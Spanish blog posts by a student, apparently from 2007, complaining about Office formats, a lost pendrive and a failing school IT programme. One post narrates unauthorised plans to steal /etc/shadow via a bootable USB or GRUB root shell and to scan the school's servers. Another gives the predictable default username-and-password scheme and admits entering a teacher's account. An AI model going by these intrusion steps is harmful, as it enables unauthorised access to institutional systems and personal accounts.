modo, prefieren otras opciones más baratas... si ese software propietario tan bueno... Microsoft Office. Así que nada me toca coger el portátil guardar mi presentación como fichero ppt de Microsoft Office y arrancar una maquina virtual con windows xp y office para comprobar que el mensaje que me ha soltado openoffice de que al guardarlo como ppt puede haber incompatibilidades y pueden aparecer errores es ciert. Lo compruebo y efectivamente es cierto, errores es poco para definir el resultado, la fuente era una extraña que se ve fatal, así que a seleccionar todo el texto de cada diapositiva y a ponerlo con la fuente Times New Roman, luego corregir el fondo, porque el color se parece poco a al que tenía el original... lo único que ha salido bien ha sido las imágenes que hay en las diapositivas.

En fin, gracias al impulso del software libre he tenido que pasarme media hora pasando mi archivo con un formato estándar y libre a un archivo con otro formato no estandarizado y propietario y encima he tenido que corregir unos pocos errores de la conversión. Esto en época de exámenes se agradece enormemente, desde aquí dar las gracias a mi instituto por hacerme perder el tiempo.

viernes, junio 08, 2007

Desmontar antes de extraer

Pues si, supongo que todos sabréis que en linux antes de desenchufar un dispositivo de almacenamiento externo hay que desmontarlo (siempre y cuando hubiera sido montado). Como es lógico yo también se ese detallito, pero claro, alguna vez con prisas y demás a uno se le puede olvidar desmontarlo, os aseguro que no me pasará nunca más.

La historia es la siguiente, ayer usamos en sociales los portátiles (con guadalinex) y claro una ya tiene la mirada "sucia" y le gusta conocer todos los entresijos de la red con la que trabaja no? , pues es lo que yo quería hacer, pero guadalinex no incluye por defecto ninguna herramienta útil para esta tarea, por lo que las tengo que instalar yo y sin ser root es un poco complicado, así que para hoy preparé un pendrive bootable con slax, para copiar el archivo /etc/shadow y crackear aquí en casa, pero al final hoy no probé a arrancarlo, porque se me ocurrió otra cosa que llamara menos la atención, y es que modificando grub podemos hacer que cuando arranque el sistema no de una shell con privilegios de root y a partir de ahí leer dicho archivo, bueno el caso es que grub puede protegerse con contraseña para que no pueda modificarse, pero la contraseña está en al archivo de configuración de grub (/boot/grub/menu.lst) y ese archivo habitualmente cualquiera puede leerlo. En este caso se daba esto que acabo de comentar, grub tiene contraseña y se puede leer el archivo menu.lst, así que hoy cambié mi estrategia y copie ese archivo al pendrive, pensando que seguramente la contraseña de root sea la misma que esta, no tiene porque ser así, pero quizás si. Además también copie un archivo de texto que tenía información sobre un par de servidores de la red del centro, conocidos a nivel local como c0 y como f0, el primero es el servidor de contenidos y el segundo es el servidor de seguridad, que también tengo previsto analizar, pero ya hablaremos de eso en otro momento. Bueno el caso es que al ejecutar dig c0 y dig f0 me dio como resultado la ip interna y un nombre sospechoso de ser accesible desde internet, porque era del estilo c0.noseque.juntadeandalucia.es o algo parecido y era algo que también quería llevarme apuntado para analizar mis hipótesis desde casa, hay que analizar la red tanto desde dentro como desde fuera, ademas también apunte la ip publica del instituto para hacer un scaneo de puertos desde fuera y ver que servicios son públicos. Bueno el caso es que después de haber apuntado esos datos que me hubieran permitido avanzar en mi investigación los he perdido, si, al final desconecté el pendrive sin desmontar y no han guardado los datos!! :'( tendré que esperar al lunes y empezar desde cero.

Bueno ya os contare mis progresos con el centro tic.

Saludos ;-)

viernes, mayo 18, 2007

1º Año de Centro TIC == Fracaso

Hoy voy a hablaros sobre mi instituto y sobre el fracaso que ha sido la gran inversión que ha hecho la Junta de Andalucía en su proyecto. Os sitúo, Andalucía es la segunda comunidad de España en desarrollo del software libre y linux, por detrás de Extremadura, de hecho la Junta desarrolla su propia distribución, Guadalinex. El caso es que la Junta se propuso que en cada centro educativo de Andalucía hubiera un ordenador por cada dos alumnos, que funcionarían con Guadalinex, para fomentar el uso del software libre y, por supuesto, para ahorrar costes, ya que un proyecto de tales dimensiones no se podría llevar a cabo si hubiera que pagar esas astronómicas licencias de windows y demás software propietario. Bueno a lo que iba, primero voy a explicaros en que consiste el utópico centro TIC de la Junta y luego os diré como es realmente, o por lo menos en mi instituto, porque no te digo que no haya alguno en que la cosa funcione bien, pero en el mio sinceramente no va bien. Para empezar aclarar que significan esas siglas, quiere decir Tecnologías de Información y Comunicación. Ahora si, vamos a ver en que debería consistir un centro TIC, debería ser un centro en el cual las aulas tuvieran ordenadores y se usaran en las clases, que pasara a ser una herramienta de trabajo. Además de eso también estaría el aula virtual, que sería un apartado de la web del centro en que cada alumno se loguearia con su user y su contraseña y ahí se podrían mandar mensajes entre alumnos, comunicarse con los profesores de las asignaturas, buscar los contenidos de las clases, o material de apoyo... Esta web como es lógico podría ser accedida tanto desde los equipos del centro como desde los ordenadores de los alumnos en sus casas. Esto bien montado podría haber revolucionado la educación en Andalucía, sería la educación digital, se estudiaría con los ordenadores y las clases podrían ser mucho mejores, no olvidemos la gran cantidad de información que podemos encontrar en internet. Bueno yo creo que mas o menos ya sabéis a lo que me refiero no?

También me gustaría comentar que no se ha escatimado en infraestructuras, hay sobremesas, portátiles, proyectores, servidores, de todo, si alguien le interesa no tiene mas que mirar la guía para centros TIC, que esta publicada en la web del CGA, Centro de Gestión Avanzada, que es el encargado de todo el tema de los centros TIC en Andalucía, del desarrollo de aplicaciones, de Guadalinex, del diseño del sistema, en fin que se encargan de que esto pueda funcionar técnicamente.

Ahora os comento la situación de mi instituto, en las aulas no se han instalado sobremesas, porque mi instituto es un edificio histórico, y no es fácil obtener permiso para hacer obras en el y no es plan de llenar el suelo de cables, así que no hay ningún aula con sobremesas (solo las dos de informática). Se ha optado por los ordenadores portátiles, que podría haber salido bien, pero no, porque como mucho solo hay 120 portátiles, lo que es claramente insuficiente para los 400 ó 500 alumnos que calculo que debemos ser. Estas cifras ya dejan claro que el proyecto utópico no se puede realizar la sencilla razón de que no hay suficientes ordenadores como para que los puedan usar todas las clases a la vez.

Mas inconvenientes, cada vez que se quieren usar los ordenadores se pierden diez minutos de clase, hay que ir a por el carro de portátiles, repartir los ordenadores, y luego ya se puede empezar la clase y unos minutos antes de que acabe la clase hay que apagarlo todo y recoger los ordenadores. Por lo menos funcionan con Guadalinex, algo es algo.

Ahora viene el problema principal, los profesores no los utilizan, en todo el curso los hemos usado poquísimo, solo en algunas asignaturas y la mayoría de las veces para hacer un trabajo puntual, no para dar una clase normal. Es cierto que es el primer año y que la mayoría de los profesores quizás les cueste/no les guste dar las clases con ordenadores, pero bueno, es que algunos que ni siquiera han probado a dar una sola clase usándolos, ni ningún trabajo, ni nada. De los que me dan clase solo hay dos interesados en el tema, el de ética y la de historia, en ética ya hemos hecho dos trabajos con los ordenadores y en historia los hemos utilizado en varias clases como herramienta de apoyo para ampliar información sobre lo que venía ne nuestro libro. Espero que el resto de la plantilla de profesores vayan empezando a usar los ordenadores también.

Luego el aula virtual, otro éxito, aquí no se salva nadie, ningún profesor ha publicado ningún contenido en su apartado ni nada. De la web solo hemos utilizado el mail interno, para enviarle al profesor de ética el trabajo que nos mando. Que tampoco fue sencillo, porque la política de contraseñas es de risa, lo que provocó algún que otro contratiempo. Para empezar el usuario y el password son las misma cadena de texto, por defecto es así. Luego cada uno puede cambiarla, pero solo la hemos cambiado 3 personas. Los profesores no la han cambiado, solo el de informática. Los demás no lo han hecho, ya veis, la seguridad del sistema es increíble. Bueno pero ahora viene lo mejor, si por lo menos fuera difícil averiguar el usuario de cada uno, pero no. El patrón es el siguiente:

Si es un alumno:

a (de alumno) + inicial del nombre + apellido

Si es un profesor:

p (de profesor) + inicial de nombre + apellido

Así pues el alumno Alberto López tendría "aalopez" como usuario y contraseña y el profesor Miguel Jiménez tendría "pmjimenez" como usuario y contraseña, que os parece? a mi una verdadera chapuza. Deberían haber puesto contraseñas aleatorias y díficiles de averiguar, así por lo menos si alguien no la cambiara sería difícil acceder a su cuenta. Contraseñas del estilo: Gjv54F_j

Como es lógico no he sido el único en darse cuenta del detallito, ha habido alguien mas que lo ha hecho y que no ha sido tan ético como yo, ya os he dicho que a través del mail interno de la web teníamos que mandarle al profesor nuestro trabajo, lo hicimos, pero algunos hubo que enviarlos hasta tres veces porque había alguien que entraba en la cuenta del profesor y borraba los mensajes recibidos que les parecía oportuno.

Yo, éticamente, le comunique hace tres días al profesor que debía cambiar su contraseña, porque sino era normal que los trabajos no los pudiera ver, porque es muy facil saber la contraseña de cualquiera y alguien estaba entrando en su cuenta a borrar mensajes. A pesar de todo no ha hecho caso, ahora mismo he podido entrar en su cuenta, por lo que no ha cambiado su contraseña.

Luego también hay varias críticas mas a mi instituto, antes se que se hiciera centro TIC, tenía dos aulas de informática una de ellas con escasos 10 o 12 ordenadores y la otra con 16 ordenadores. Ahora mismo todos tienen arranque dual, buen paso, le han instalado Guadalinex, pero el problema es que las clases de informática solo se enseña ofimática y con el paquete de Microsoft, hay que ver por donde nos sale el fomento del software libre.

Ya para acabar, en la biblioteca del centro había 5 antiguos ordenadores, unos pentium II me parece que son, que antes funcionaban perfectamente con Guadalinex, estaban ahí a disposición de cualquiera que necesitara buscar cualquier información en Internet durante el recreo, por alguna razón extraña dejaron de funcionar y no los han arreglado en un año y medio. Hace tres días empezaron a funcionar de nuevo, pero seguro que ni os imagináis como los han arreglado, a que no? pues lo han hecho instalándoles Windows 98, esto es acojonante, de verdad.

Tengo pendiente una tarea por ahí, que es analizar la red del instituto, trazar un mapa de la red, de los accesspoint wifi, servidores, dns, etc y luego como no echar un vistazo a su seguridad, pero como cogemos los ordenadores tan poco pues todavía no he podido hacer nada.

Bueno, espero que la situación mejore para el curso que viene, porque en mi opinión este año ha sido un fracaso, además no tiene ningún sentido que le pongas Guadalinex a los ordenadores que te manda la junta y Windows 98 a los que tu tienes ya en tu centro. En fin...

Saludos ;-)